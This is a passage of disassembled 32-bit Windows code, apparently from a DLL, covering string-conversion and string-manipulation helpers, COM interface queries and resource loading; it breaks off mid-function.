sub_69B2EFDA	proc near		; DATA XREF: .text:69B12248o

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B2ECE4
		mov	eax, esi
		pop	esi
		retn	4
sub_69B2EFDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2EFEC	proc near		; DATA XREF: .text:69B1F978o
					; .text:69B1F9D8o

arg_0		= dword	ptr  4

		push	esi
		push	dword ptr [ecx+8]
		push	dword ptr [ecx+0Ch]
		call	sub_69B190D7
		push	[esp+4+arg_0]
		mov	esi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		mov	eax, esi
		pop	esi
		retn	4
sub_69B2EFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F00B	proc near		; CODE XREF: sub_69B2F72E+AAp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+8+arg_0]
		xor	ebx, ebx
		cmp	ecx, ebx
		jnz	short loc_69B2F029
		mov	eax, off_69B96388
		mov	[esi], eax
		mov	dword ptr [esi+54h], 4
		jmp	short loc_69B2F092
; ---------------------------------------------------------------------------


loc_69B2F029:				; CODE XREF: sub_69B2F00B+Cj
		push	ebp
		mov	[esi], ebx
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+2Ch]
		mov	edi, eax
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		mov	ebp, [edi+0Ch]
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	ebx		; cchMultiByte
		push	ebx		; lpMultiByteStr
		push	dword ptr [edi+8] ; cchWideChar
		push	ebp		; lpWideCharStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		cmp	eax, 4Fh
		mov	[esi+54h], eax
		jnb	short loc_69B2F05A
		lea	eax, [esi+4]
		jmp	short loc_69B2F061
; ---------------------------------------------------------------------------


loc_69B2F05A:				; CODE XREF: sub_69B2F00B+48j
		inc	eax
		push	eax
		call	sub_69B11E44


loc_69B2F061:				; CODE XREF: sub_69B2F00B+4Dj
		cmp	eax, ebx
		mov	[esi], eax
		jz	short loc_69B2F081
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	dword ptr [esi+54h] ; cchMultiByte
		push	eax		; lpMultiByteStr
		push	dword ptr [edi+8] ; cchWideChar
		push	ebp		; lpWideCharStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		mov	eax, [esi+54h]
		mov	ecx, [esi]
		mov	[eax+ecx], bl


loc_69B2F081:				; CODE XREF: sub_69B2F00B+5Aj
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]
		cmp	[esi], ebx
		pop	edi
		pop	ebp
		jnz	short loc_69B2F092
		call	sub_69B2E87C


loc_69B2F092:				; CODE XREF: sub_69B2F00B+1Cj
					; sub_69B2F00B+80j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B2F00B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F099	proc near		; CODE XREF: sub_69B2F72E+FFp
		mov	eax, [ecx]
		cmp	eax, off_69B96388
		jz	short locret_69B2F0B0
		add	ecx, 4
		cmp	eax, ecx
		jz	short locret_69B2F0B0
		push	eax
		call	sub_69B1B2B7

locret_69B2F0B0:			; CODE XREF: sub_69B2F099+8j
					; sub_69B2F099+Fj
		retn
sub_69B2F099	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F0B1	proc near		; CODE XREF: sub_69B3D7B4+9Cp
					; .text:69B53D2Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	dword ptr [eax+8]
		add	eax, 0Ch
		push	eax
		call	sub_69B190D7
		retn	4
sub_69B2F0B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F0C4	proc near		; CODE XREF: sub_69B3F90C+99p
					; sub_69B3F90C+ABp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_69B2F0DB
		mov	ecx, [eax+8]
		mov	eax, [eax+0Ch]
		push	ecx
		push	eax
		call	sub_69B190D7
		jmp	short locret_69B2F0DD
; ---------------------------------------------------------------------------


loc_69B2F0DB:				; CODE XREF: sub_69B2F0C4+6j
		xor	eax, eax

locret_69B2F0DD:			; CODE XREF: sub_69B2F0C4+15j
		retn	4
sub_69B2F0C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F0E0	proc near		; CODE XREF: sub_69B304F3+11Ap
					; sub_69B4A8CB+68p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [eax+0Ch]
		push	ecx
		add	eax, 0Ch
		push	eax
		call	sub_69B190D7
		retn	4
sub_69B2F0E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2F0F7	proc near		; CODE XREF: sub_69B1D411+6945p
					; sub_69B2F570+3p ...

String		= word ptr -44h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	0Ah
		mov	[ebp+var_4], eax
		lea	eax, [ebp+String]
		push	eax
		push	[ebp+arg_0]
		call	sub_69B2F579
		lea	eax, [ebp+String]
		push	eax		; lpString
		call	sub_69B1A587
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		leave
		retn	4
sub_69B2F0F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F12E	proc near		; CODE XREF: sub_69B2EABC+40p
					; sub_69B2EB64+4Bp ...
		push	dword ptr [ecx+8]
		push	dword ptr [ecx+0Ch]
		call	sub_69B190D7
		retn
sub_69B2F12E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F13A	proc near		; CODE XREF: sub_69B7624E+A2p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax+8]
		mov	eax, [eax+0Ch]
		push	edx		; int
		push	eax		; lpStr2
		call	sub_69B2EE46
		retn	4
sub_69B2F13A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F14E	proc near		; CODE XREF: sub_69B88EA5+21p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		mov	ebx, ecx
		jge	short loc_69B2F19A
		test	esi, esi
		push	edi
		jl	short loc_69B2F18F
		cmp	eax, [ebx+8]
		jg	short loc_69B2F18F
		mov	edx, [esp+0Ch+arg_C]
		test	edx, edx
		jl	short loc_69B2F18F
		mov	edi, [esp+0Ch+arg_8]
		sub	eax, esi
		lea	ecx, [eax+edx]
		cmp	ecx, [edi+8]
		jg	short loc_69B2F18F
		mov	ecx, eax
		mov	eax, [ebx+0Ch]
		lea	esi, [eax+esi*2]
		lea	edi, [edi+edx*2+0Ch]
		rep movsw
		jmp	short loc_69B2F199
; ---------------------------------------------------------------------------


loc_69B2F18F:				; CODE XREF: sub_69B2F14E+13j
					; sub_69B2F14E+18j ...
		push	80070057h
		call	sub_69B2E8B8


loc_69B2F199:				; CODE XREF: sub_69B2F14E+3Fj
		pop	edi


loc_69B2F19A:				; CODE XREF: sub_69B2F14E+Ej
		pop	esi
		pop	ebx
		retn	10h
sub_69B2F14E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2F19F	proc near		; CODE XREF: sub_69B66820+D6p
					; sub_69B66820+F3p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	edi, ecx
		mov	ecx, [ebp+arg_0]
		call	sub_69B2EDBF
		mov	ebx, [edi+8]
		or	esi, 0FFFFFFFFh
		cmp	ebx, esi
		jle	short loc_69B2F1F4
		movzx	eax, ax
		mov	[ebp+arg_4], eax


loc_69B2F1C2:				; CODE XREF: sub_69B2F19F+53j
		inc	esi
		push	esi
		push	[ebp+arg_4]
		mov	ecx, edi
		call	sub_69B2EE9A
		mov	esi, eax
		or	eax, 0FFFFFFFFh
		cmp	esi, eax
		jz	short loc_69B2F1F7
		mov	edx, [ebp+arg_0]
		mov	ecx, ebx
		sub	ecx, esi
		cmp	[edx+8], ecx
		jg	short loc_69B2F1F7
		push	esi
		push	edx
		mov	ecx, edi
		call	sub_69B2EECD
		test	al, al
		jnz	short loc_69B2F1FE
		cmp	esi, ebx
		jl	short loc_69B2F1C2


loc_69B2F1F4:				; CODE XREF: sub_69B2F19F+1Bj
		or	eax, 0FFFFFFFFh


loc_69B2F1F7:				; CODE XREF: sub_69B2F19F+36j
					; sub_69B2F19F+42j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_69B2F1FE:				; CODE XREF: sub_69B2F19F+4Fj
		mov	eax, esi
		jmp	short loc_69B2F1F7
sub_69B2F19F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F202	proc near		; CODE XREF: sub_69B20F54+20p
					; sub_69B7BF93+1B6p ...
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+8], ebx
		push	edi
		mov	edi, [esi+0Ch]
		jle	short loc_69B2F228


loc_69B2F211:				; CODE XREF: sub_69B2F202+24j
		movzx	eax, word ptr [edi]
		push	eax
		call	ds:SHLWAPI_38
		cmp	[edi], ax
		jnz	short loc_69B2F228
		inc	ebx
		inc	edi
		inc	edi
		cmp	ebx, [esi+8]
		jl	short loc_69B2F211


loc_69B2F228:				; CODE XREF: sub_69B2F202+Dj
					; sub_69B2F202+1Cj
		mov	ecx, [esi+8]
		cmp	ebx, ecx
		jnz	short loc_69B2F233
		mov	eax, esi
		jmp	short loc_69B2F262
; ---------------------------------------------------------------------------


loc_69B2F233:				; CODE XREF: sub_69B2F202+2Bj
		mov	eax, [esi+0Ch]
		push	ebp
		push	ecx
		push	eax
		call	sub_69B190C1
		xor	ebx, ebx
		cmp	[esi+8], ebx
		mov	ebp, eax
		mov	edi, [ebp+0Ch]
		jle	short loc_69B2F25F


loc_69B2F24A:				; CODE XREF: sub_69B2F202+5Bj
		movzx	eax, word ptr [edi]
		push	eax
		call	ds:SHLWAPI_38
		mov	[edi], ax
		inc	ebx
		inc	edi
		inc	edi
		cmp	ebx, [esi+8]
		jl	short loc_69B2F24A


loc_69B2F25F:				; CODE XREF: sub_69B2F202+46j
		mov	eax, ebp
		pop	ebp


loc_69B2F262:				; CODE XREF: sub_69B2F202+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B2F202	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F266	proc near		; CODE XREF: sub_69B3DCF1+23p
					; sub_69B44C4C+71p ...
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+8], ebx
		push	edi
		mov	edi, [esi+0Ch]
		jle	short loc_69B2F28C


loc_69B2F275:				; CODE XREF: sub_69B2F266+24j
		movzx	eax, word ptr [edi]
		push	eax
		call	ds:SHLWAPI_43
		cmp	[edi], ax
		jnz	short loc_69B2F28C
		inc	ebx
		inc	edi
		inc	edi
		cmp	ebx, [esi+8]
		jl	short loc_69B2F275


loc_69B2F28C:				; CODE XREF: sub_69B2F266+Dj
					; sub_69B2F266+1Cj
		mov	ecx, [esi+8]
		cmp	ebx, ecx
		jnz	short loc_69B2F297
		mov	eax, esi
		jmp	short loc_69B2F2C6
; ---------------------------------------------------------------------------


loc_69B2F297:				; CODE XREF: sub_69B2F266+2Bj
		mov	eax, [esi+0Ch]
		push	ebp
		push	ecx
		push	eax
		call	sub_69B190C1
		xor	ebx, ebx
		cmp	[esi+8], ebx
		mov	ebp, eax
		mov	edi, [ebp+0Ch]
		jle	short loc_69B2F2C3


loc_69B2F2AE:				; CODE XREF: sub_69B2F266+5Bj
		movzx	eax, word ptr [edi]
		push	eax
		call	ds:SHLWAPI_43
		mov	[edi], ax
		inc	ebx
		inc	edi
		inc	edi
		cmp	ebx, [esi+8]
		jl	short loc_69B2F2AE


loc_69B2F2C3:				; CODE XREF: sub_69B2F266+46j
		mov	eax, ebp
		pop	ebp


loc_69B2F2C6:				; CODE XREF: sub_69B2F266+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B2F266	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2F2CA	proc near		; CODE XREF: sub_69B2EABC+56p
					; sub_69B38236+E8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ecx, ecx
		test	edi, edi
		mov	eax, edi
		jz	short loc_69B2F2EC
		lea	edx, [ebp+arg_0]


loc_69B2F2E0:				; CODE XREF: sub_69B2F2CA+20j
		add	ecx, [eax+8]
		add	edx, 4
		mov	eax, [edx]
		test	eax, eax
		jnz	short loc_69B2F2E0


loc_69B2F2EC:				; CODE XREF: sub_69B2F2CA+11j
		push	ecx
		push	10h
		call	sub_69B17ED3
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_69B2F30B
		mov	ecx, esi
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B12210
		jmp	short loc_69B2F30D
; ---------------------------------------------------------------------------


loc_69B2F30B:				; CODE XREF: sub_69B2F2CA+30j
		xor	esi, esi


loc_69B2F30D:				; CODE XREF: sub_69B2F2CA+3Fj
		test	edi, edi
		mov	ebx, [esi+0Ch]
		mov	[ebp+var_8], esi
		mov	edx, edi
		jz	short loc_69B2F34A
		lea	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_69B2F31F:				; CODE XREF: sub_69B2F2CA+7Ej
		mov	ecx, [edx+8]
		mov	esi, [edx+0Ch]
		add	[ebp+var_4], 4
		shl	ecx, 1
		mov	eax, ecx
		shr	ecx, 2
		mov	edi, ebx
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [edx+8]
		lea	ebx, [ebx+eax*2]
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		test	edx, edx
		jnz	short loc_69B2F31F


loc_69B2F34A:				; CODE XREF: sub_69B2F2CA+4Dj
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B2F2CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F352	proc near		; CODE XREF: sub_69B46D7D+6Fp
					; sub_69B46E4C+76p ...
		mov	eax, [ecx+0Ch]
		push	esi
		push	dword ptr [ecx+8] ; UINT
		push	eax		; OLECHAR *
		call	SysAllocStringLen
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B2F36B
		call	sub_69B2E87C


loc_69B2F36B:				; CODE XREF: sub_69B2F352+12j
		mov	eax, esi
		pop	esi
		retn
sub_69B2F352	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F36F	proc near		; CODE XREF: .text:69B2F3BCj
					; .text:69B53CFDp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, [esi+8]
		lea	eax, [edi+edi+10h]
		push	eax
		call	sub_69B17EF3
		mov	ebx, eax
		mov	ecx, ebx
		mov	[ebx+8], edi
		call	sub_69B19118
		mov	dword ptr [ebx], offset	off_69B121D0
		mov	eax, [esi+8]
		test	eax, eax
		jle	short loc_69B2F3B6
		cmp	eax, [ebx+8]
		jg	short loc_69B2F3AC
		mov	esi, [esi+0Ch]
		mov	ecx, eax
		lea	edi, [ebx+0Ch]
		rep movsw
		jmp	short loc_69B2F3B6
; ---------------------------------------------------------------------------


loc_69B2F3AC:				; CODE XREF: sub_69B2F36F+2Ej
		push	80070057h
		call	sub_69B2E8B8


loc_69B2F3B6:				; CODE XREF: sub_69B2F36F+29j
					; sub_69B2F36F+3Bj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_69B2F36F	endp

; ---------------------------------------------------------------------------
		jmp	short sub_69B2F36F

; =============== S U B	R O U T	I N E =======================================



sub_69B2F3BE	proc near		; CODE XREF: sub_69B759A1+58p

arg_0		= byte ptr  4

		push	1
		lea	eax, [esp+4+arg_0]
		push	eax
		call	sub_69B190C1
		retn	4
sub_69B2F3BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F3CD	proc near		; CODE XREF: sub_69B2F43C+57p
					; sub_69B3E825+71p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, [esp+8+arg_4]
		sub	esi, ebx
		test	ebx, ebx
		push	edi
		mov	edi, ecx
		jl	short loc_69B2F42A
		test	esi, esi
		jl	short loc_69B2F42A
		mov	eax, [edi+8]
		cmp	[esp+0Ch+arg_4], eax
		jg	short loc_69B2F42A
		test	esi, esi
		jle	short loc_69B2F423
		cmp	[esp+0Ch+arg_4], eax
		jnz	short loc_69B2F414
		push	14h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B2F434
		mov	ecx, [edi+0Ch]
		push	esi
		lea	ecx, [ecx+ebx*2]
		push	ecx
		push	edi
		mov	ecx, eax
		call	sub_69B1F916
		jmp	short loc_69B2F436
; ---------------------------------------------------------------------------


loc_69B2F414:				; CODE XREF: sub_69B2F3CD+28j
		mov	eax, [edi+0Ch]
		push	esi
		lea	eax, [eax+ebx*2]
		push	eax
		call	sub_69B190C1
		jmp	short loc_69B2F436
; ---------------------------------------------------------------------------


loc_69B2F423:				; CODE XREF: sub_69B2F3CD+22j
		mov	eax, offset off_69B1A5AC
		jmp	short loc_69B2F436
; ---------------------------------------------------------------------------


loc_69B2F42A:				; CODE XREF: sub_69B2F3CD+11j
					; sub_69B2F3CD+15j ...
		push	80070057h
		call	sub_69B2E8B8


loc_69B2F434:				; CODE XREF: sub_69B2F3CD+33j
		xor	eax, eax


loc_69B2F436:				; CODE XREF: sub_69B2F3CD+45j
					; sub_69B2F3CD+54j ...
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B2F3CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F43C	proc near		; CODE XREF: sub_69B14EAC+ADp
					; sub_69B20F54+9p ...
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+8]
		test	esi, esi
		mov	ebx, [edi+0Ch]
		jle	short loc_69B2F467
		lea	ebp, [ebx+esi*2-2]


loc_69B2F450:				; CODE XREF: sub_69B2F43C+29j
		xor	eax, eax
		mov	ax, [ebp+0]
		push	eax
		call	sub_69B2ECB4
		test	eax, eax
		jz	short loc_69B2F467
		dec	esi
		dec	ebp
		dec	ebp
		test	esi, esi
		jg	short loc_69B2F450


loc_69B2F467:				; CODE XREF: sub_69B2F43C+Ej
					; sub_69B2F43C+22j
		xor	ebp, ebp
		test	esi, esi
		jle	short loc_69B2F486


loc_69B2F46D:				; CODE XREF: sub_69B2F43C+44j
		xor	eax, eax
		mov	ax, [ebx+ebp*2]
		push	eax
		call	sub_69B2ECB4
		test	eax, eax
		jz	short loc_69B2F482
		inc	ebp
		cmp	ebp, esi
		jl	short loc_69B2F46D


loc_69B2F482:				; CODE XREF: sub_69B2F43C+3Fj
		test	ebp, ebp
		jg	short loc_69B2F48F


loc_69B2F486:				; CODE XREF: sub_69B2F43C+2Fj
		cmp	esi, [edi+8]
		jl	short loc_69B2F48F
		mov	eax, edi
		jmp	short loc_69B2F498
; ---------------------------------------------------------------------------


loc_69B2F48F:				; CODE XREF: sub_69B2F43C+48j
					; sub_69B2F43C+4Dj
		push	esi
		push	ebp
		mov	ecx, edi
		call	sub_69B2F3CD


loc_69B2F498:				; CODE XREF: sub_69B2F43C+51j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B2F43C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F49D	proc near		; CODE XREF: sub_69B2F643+3p
					; sub_69B315F1+6p ...
		mov	eax, [ecx]
		call	dword ptr [eax+1Ch]
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_69B2F4AB
		jmp	eax
; ---------------------------------------------------------------------------


loc_69B2F4AB:				; CODE XREF: sub_69B2F49D+Aj
		push	80004001h
		call	sub_69B2E8B8
		xor	eax, eax
		retn
sub_69B2F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2F4B8	proc near		; CODE XREF: sub_69B4311C+9Cp
					; sub_69B47D5E+9p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jnz	short loc_69B2F4D0
		xor	eax, eax
		jmp	loc_69B2F553
; ---------------------------------------------------------------------------


loc_69B2F4D0:				; CODE XREF: sub_69B2F4B8+Fj
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+arg_4]
		mov	[ebp+var_4], edi
		push	esi
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_C], edi
		call	dword ptr [eax]
		test	eax, eax
		jnz	short loc_69B2F4FC
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		jmp	short loc_69B2F54A
; ---------------------------------------------------------------------------


loc_69B2F4FC:				; CODE XREF: sub_69B2F4B8+32j
		mov	eax, [esi]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	offset dword_69B2B040
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		jnz	short loc_69B2F550
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_69B2B000
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	short loc_69B2F547
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	edi
		push	4
		lea	edx, [ebp+arg_0]
		push	edx
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jz	short loc_69B2F53E
		mov	[ebp+arg_0], edi


loc_69B2F53E:				; CODE XREF: sub_69B2F4B8+81j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B2F547:				; CODE XREF: sub_69B2F4B8+6Dj
		mov	eax, [ebp+var_C]


loc_69B2F54A:				; CODE XREF: sub_69B2F4B8+42j
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B2F550:				; CODE XREF: sub_69B2F4B8+54j
		mov	eax, [ebp+arg_0]


loc_69B2F553:				; CODE XREF: sub_69B2F4B8+13j
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B2F4B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F559	proc near		; DATA XREF: .text:69B121B4o
					; .text:69B121FCo ...
		mov	eax, offset off_69B1A5AC
		retn
sub_69B2F559	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F55F	proc near		; DATA XREF: .text:69B12268o
		mov	eax, offset off_69B2F568
		retn
sub_69B2F55F	endp

; ---------------------------------------------------------------------------
		align 4
off_69B2F568	dd offset dword_69B18894 ; DATA	XREF: sub_69B2F55Fo
		dd offset sub_69B2F653

; =============== S U B	R O U T	I N E =======================================



sub_69B2F570	proc near		; DATA XREF: .text:69B12278o
		push	dword ptr [ecx+8]
		call	sub_69B2F0F7
		retn
sub_69B2F570	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2F579	proc near		; CODE XREF: sub_69B2F0F7+1Ap
					; sub_69B764D5+4Fp

var_44		= byte ptr -44h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		test	eax, eax
		setl	bl
		cmp	[ebp+arg_8], 10h
		push	esi
		jz	short loc_69B2F5A0
		test	bl, bl
		jz	short loc_69B2F5A0
		neg	eax


loc_69B2F5A0:				; CODE XREF: sub_69B2F579+1Fj
					; sub_69B2F579+23j
		push	2
		lea	ecx, [ebp+var_44]
		pop	esi


loc_69B2F5A6:				; CODE XREF: sub_69B2F579+46j
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	edx, 0Ah
		jnb	short loc_69B2F5B5
		add	edx, 30h
		jmp	short loc_69B2F5B8
; ---------------------------------------------------------------------------


loc_69B2F5B5:				; CODE XREF: sub_69B2F579+35j
		add	edx, 37h


loc_69B2F5B8:				; CODE XREF: sub_69B2F579+3Aj
		mov	[ecx], dx
		add	ecx, esi
		test	eax, eax
		jnz	short loc_69B2F5A6
		cmp	[ebp+arg_8], 10h
		jnz	short loc_69B2F5D5
		mov	word ptr [ecx],	78h
		add	ecx, esi
		mov	word ptr [ecx],	30h
		jmp	short loc_69B2F5DE
; ---------------------------------------------------------------------------


loc_69B2F5D5:				; CODE XREF: sub_69B2F579+4Cj
		test	bl, bl
		jz	short loc_69B2F5E0
		mov	word ptr [ecx],	2Dh


loc_69B2F5DE:				; CODE XREF: sub_69B2F579+5Aj
		add	ecx, esi


loc_69B2F5E0:				; CODE XREF: sub_69B2F579+5Ej
		lea	eax, [ebp+var_44]
		cmp	ecx, eax
		mov	eax, [ebp+arg_4]
		jbe	short loc_69B2F5FB


loc_69B2F5EA:				; CODE XREF: sub_69B2F579+80j
		sub	ecx, esi
		mov	dx, [ecx]
		mov	[eax], dx
		lea	edx, [ebp+var_44]
		add	eax, esi
		cmp	ecx, edx
		ja	short loc_69B2F5EA


loc_69B2F5FB:				; CODE XREF: sub_69B2F579+6Fj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		and	word ptr [eax],	0
		pop	esi
		pop	ebx
		call	sub_69B1B9F6
		leave
		retn	0Ch
sub_69B2F579	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F610	proc near		; CODE XREF: sub_69B2F653+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B2DC24
		mov	dword ptr [esi], offset	off_69B1224C
		mov	eax, esi
		pop	esi
		retn	4
sub_69B2F610	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B2F66B


loc_69B2F628:				; CODE XREF: sub_69B2F66B+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	eax, [esp+4+arg_0]
		mov	[esi+8], eax
		mov	dword ptr [esi], offset	off_69B1224C
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B2F66B

; =============== S U B	R O U T	I N E =======================================



sub_69B2F643	proc near		; DATA XREF: .text:69B12274o
		push	esi
		mov	esi, ecx
		call	sub_69B2F49D
		mov	ecx, [esi+8]
		mov	[eax+8], ecx
		pop	esi
		retn
sub_69B2F643	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F653	proc near		; DATA XREF: .text:69B2F56Co
		push	0Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B2F668
		push	0
		mov	ecx, eax
		call	sub_69B2F610
		retn
; ---------------------------------------------------------------------------


loc_69B2F668:				; CODE XREF: sub_69B2F653+9j
		xor	eax, eax
		retn
sub_69B2F653	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2F66B	proc near		; CODE XREF: sub_69B17064+56p
					; sub_69B8FBCF+129p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B2F628 SIZE 0000001B BYTES

		push	0Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B2F67A
		mov	ecx, eax
		jmp	short loc_69B2F628
; ---------------------------------------------------------------------------


loc_69B2F67A:				; CODE XREF: sub_69B2F66B+9j
		xor	eax, eax
		retn	4
sub_69B2F66B	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B2F67F(LPCSTR lpName, LPCSTR lpType, int)

sub_69B2F67F	proc near		; CODE XREF: sub_69B8241A+1Ep

lpName		= dword	ptr  4
lpType		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jz	short loc_69B2F68E
		mov	[esi], ebx


loc_69B2F68E:				; CODE XREF: sub_69B2F67F+Bj
		push	[esp+0Ch+lpType] ; lpType
		push	[esp+10h+lpName] ; lpName
		push	hModule		; hModule
		call	ds:FindResourceA	; FindResourceA
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B2F6D5
		push	edi		; hResInfo
		push	hModule		; hModule
		call	ds:LoadResource	; LoadResource
		test	eax, eax
		jz	short loc_69B2F6D5
		push	eax		; hResData
		call	ds:LockResource	; LockResource
		test	esi, esi
		mov	ebx, eax
		jz	short loc_69B2F6D5
		push	edi		; hResInfo
		push	hModule		; hModule
		call	ds:SizeofResource	; SizeofResource
		mov	[esi], eax


loc_69B2F6D5:				; CODE XREF: sub_69B2F67F+27j
